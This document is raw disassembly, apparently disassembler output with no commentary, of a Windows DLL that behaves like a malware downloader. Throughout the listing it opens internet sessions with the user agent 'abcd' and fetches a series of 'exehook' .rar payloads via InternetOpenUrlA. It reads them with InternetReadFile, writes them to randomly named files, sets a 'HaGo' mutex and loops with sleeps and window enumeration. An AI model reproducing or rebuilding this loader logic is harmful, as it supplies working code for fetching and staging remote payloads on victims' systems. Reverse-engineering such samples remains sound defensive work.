mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x6f0]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
mov r9, rsi
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0xce0]
lea r8, [rax - 2]
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b924]
call fcn.18000bf68
lea rcx, [rbp + 0x710]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x180008f16
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook15.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x730]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x730]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
sub rax, r14
lea rdx, [rbp + 0x750]
mov r8, rax
lea rcx, [rbp + 0xce0]
mov r9, rsi
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8e4]
call fcn.18000bf68
lea rcx, [rbp + 0x750]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x180008fca
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook1.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x770]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x770]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
sub rax, r14
lea rdx, [rbp + 0x790]
mov r8, rax
lea rcx, [rbp + 0xce0]
mov r9, rsi
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8e8]
call fcn.18000bf68
lea rcx, [rbp + 0x790]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x18000907e
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook2.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x7b0]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x7b0]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
sub rax, r14
lea rdx, [rbp + 0x7d0]
mov r8, rax
lea rcx, [rbp + 0xce0]
mov r9, rsi
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8ec]
call fcn.18000bf68
lea rcx, [rbp + 0x7d0]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x180009132
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook3.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x7f0]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x7f0]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
sub rax, r14
lea rdx, [rbp + 0x810]
mov r8, rax
lea rcx, [rbp + 0xce0]
mov r9, rsi
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8f0]
call fcn.18000bf68
lea rcx, [rbp + 0x810]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x1800091e6
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook4.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x830]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x830]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
sub rax, r14
lea rdx, [rbp + 0x850]
mov r8, rax
lea rcx, [rbp + 0xce0]
mov r9, rsi
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8f4]
call fcn.18000bf68
lea rcx, [rbp + 0x850]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x18000929a
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook5.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x870]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x870]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
sub rax, r14
lea rdx, [rbp + 0x890]
mov r8, rax
lea rcx, [rbp + 0xce0]
mov r9, rsi
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8f8]
call fcn.18000bf68
lea rcx, [rbp + 0x890]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x18000934e
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook6.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x8b0]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x8b0]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
sub rax, r14
lea rdx, [rbp + 0x8d0]
mov r8, rax
lea rcx, [rbp + 0xce0]
mov r9, rsi
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b8fc]
call fcn.18000bf68
lea rcx, [rbp + 0x8d0]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x180009402
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook7.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x8f0]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x8f0]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
sub rax, r14
lea rdx, [rbp + 0x910]
mov r8, rax
lea rcx, [rbp + 0xce0]
mov r9, rsi
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b900]
call fcn.18000bf68
lea rcx, [rbp + 0x910]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x1800094b6
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook8.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x930]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x930]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
sub rax, r14
lea rdx, [rbp + 0x950]
mov r8, rax
lea rcx, [rbp + 0xce0]
mov r9, rsi
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b904]
call fcn.18000bf68
lea rcx, [rbp + 0x950]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x18000956a
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook9.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x970]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x970]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
sub rax, r14
lea rdx, [rbp + 0x990]
mov r8, rax
lea rcx, [rbp + 0xce0]
mov r9, rsi
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b908]
call fcn.18000bf68
lea rcx, [rbp + 0x990]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x18000961e
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehookl.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x9b0]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x9b0]
jmp 0x1800096cd
lea rcx, [rbp + 0xce0]
call fcn.18000ad98
sub rax, r14
lea rdx, [rbp + 0x9d0]
mov r8, rax
lea rcx, [rbp + 0xce0]
mov r9, rsi
call fcn.18000ad18
mov rcx, rax
lea rdx, [0x18003b90c]
call fcn.18000bf68
lea rcx, [rbp + 0x9d0]
mov bl, al
call fcn.18000af10
test bl, bl
je 0x1800096d5
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehookp.rar
mov rbx, rax
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x9f0]
call fcn.18000bee8
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
mov qword [rsp + 0x28], r13
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x9f0]
mov rdi, rax
call fcn.18000af10
lea rcx, [rbp + 0xdd0]
lea rdx, str.kWPzBGjf13.BzC
test r12b, r12b
jne 0x1800096ef
lea rdx, str.KZPVUpVu1.cvr
call fcn.18000af08
lea rcx, [rbp + 0xe40]
call fcn.180004f68
lea r8, [rbp + 0xd58]
lea rdx, [rbp + 0xd30]
lea rcx, [rbp + 0xa30]
call fcn.18000be18
mov rdx, rax
lea r8, [rbp + 0xdd0]
lea rcx, [rbp + 0xa10]
call fcn.18000bdac
mov rcx, rax
call fcn.18000ada0
mov rdx, rax
lea rcx, [rbp + 0xe40]
call fcn.18000a7fc
lea rcx, [rbp + 0xa10]
call fcn.18000af10
lea rcx, [rbp + 0xa30]
call fcn.18000af10
jmp 0x180009781
mov eax, dword [rbp + 0xd08]
test eax, eax
je 0x1800097a2
mov r8d, eax
lea rdx, [rbp + 0x1000]
lea rcx, [rbp + 0xe40]
call fcn.18000aaf8
lea r9, [rbp + 0xd08]
mov r8d, 0x1000
lea rdx, [rbp + 0x1000]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x180009761
lea rcx, [rbp + 0xe40]
call fcn.18000a700
call fcn.180003a54
mov ebx, 0x64
cmp al, r14b
jne 0x1800097eb
call fcn.180003f2c
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180003cb4
cmp al, r14b
je 0x1800097bd
call fcn.1800041a8
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180003a54
cmp al, r14b
je 0x1800097d4
lea r8, [rbp + 0xd58]
lea rdx, [rbp + 0xd30]
lea rcx, [rbp + 0xa70]
call fcn.18000be18
mov rdx, rax
lea r8, [rbp + 0xd78]
lea rcx, [rbp + 0xa50]
call fcn.18000bdac
mov rcx, rax
call fcn.18000ada0
xor r8d, r8d
lea r9, [0x18003b54b]
mov rcx, rax
lea edx, [r8 + 3]
call fcn.18000204c
lea rcx, [rbp + 0xa50]
call fcn.18000af10
lea rcx, [rbp + 0xa70]
call fcn.18000af10
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180003a54
test al, al
je 0x1800097eb
call fcn.180004f78
test r12b, r12b
je 0x1800099aa
jmp 0x180009893
xor edx, edx
mov byte [0x180041cb0], r13b
lea rcx, [0x180005be8]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x180041cb0], r13b
jne 0x180009872
mov rcx, r15
call fcn.180005f08
jmp 0x1800098ae
mov rcx, r15
call fcn.18000528c
test eax, eax
jne 0x1800098a6
lea rcx, [rbp + 0xe40]
call fcn.180004f38
lea rcx, [rbp + 0xd10]
call fcn.18000af10
lea rcx, [rbp + 0xce0]
call fcn.18000af10
lea rcx, [rbp + 0xd98]
call fcn.18000ac0c
jmp 0x180009a09
lea r8, str.HaGo
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1800099fe
xor ecx, ecx
call fcn.180014800
int3
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xd58]
call fcn.18000af10
lea rcx, [rbp + 0xd78]
call fcn.18000af10
lea rcx, [rbp + 0xd30]
call fcn.18000af10
lea rcx, [rbp + 0xe00]
call fcn.18000af10
lea rcx, [rbp + 0xdb0]
call fcn.18000af10
lea rcx, [rbp + 0xe20]
call fcn.18000ad10
xor ecx, ecx
call fcn.180014800
int3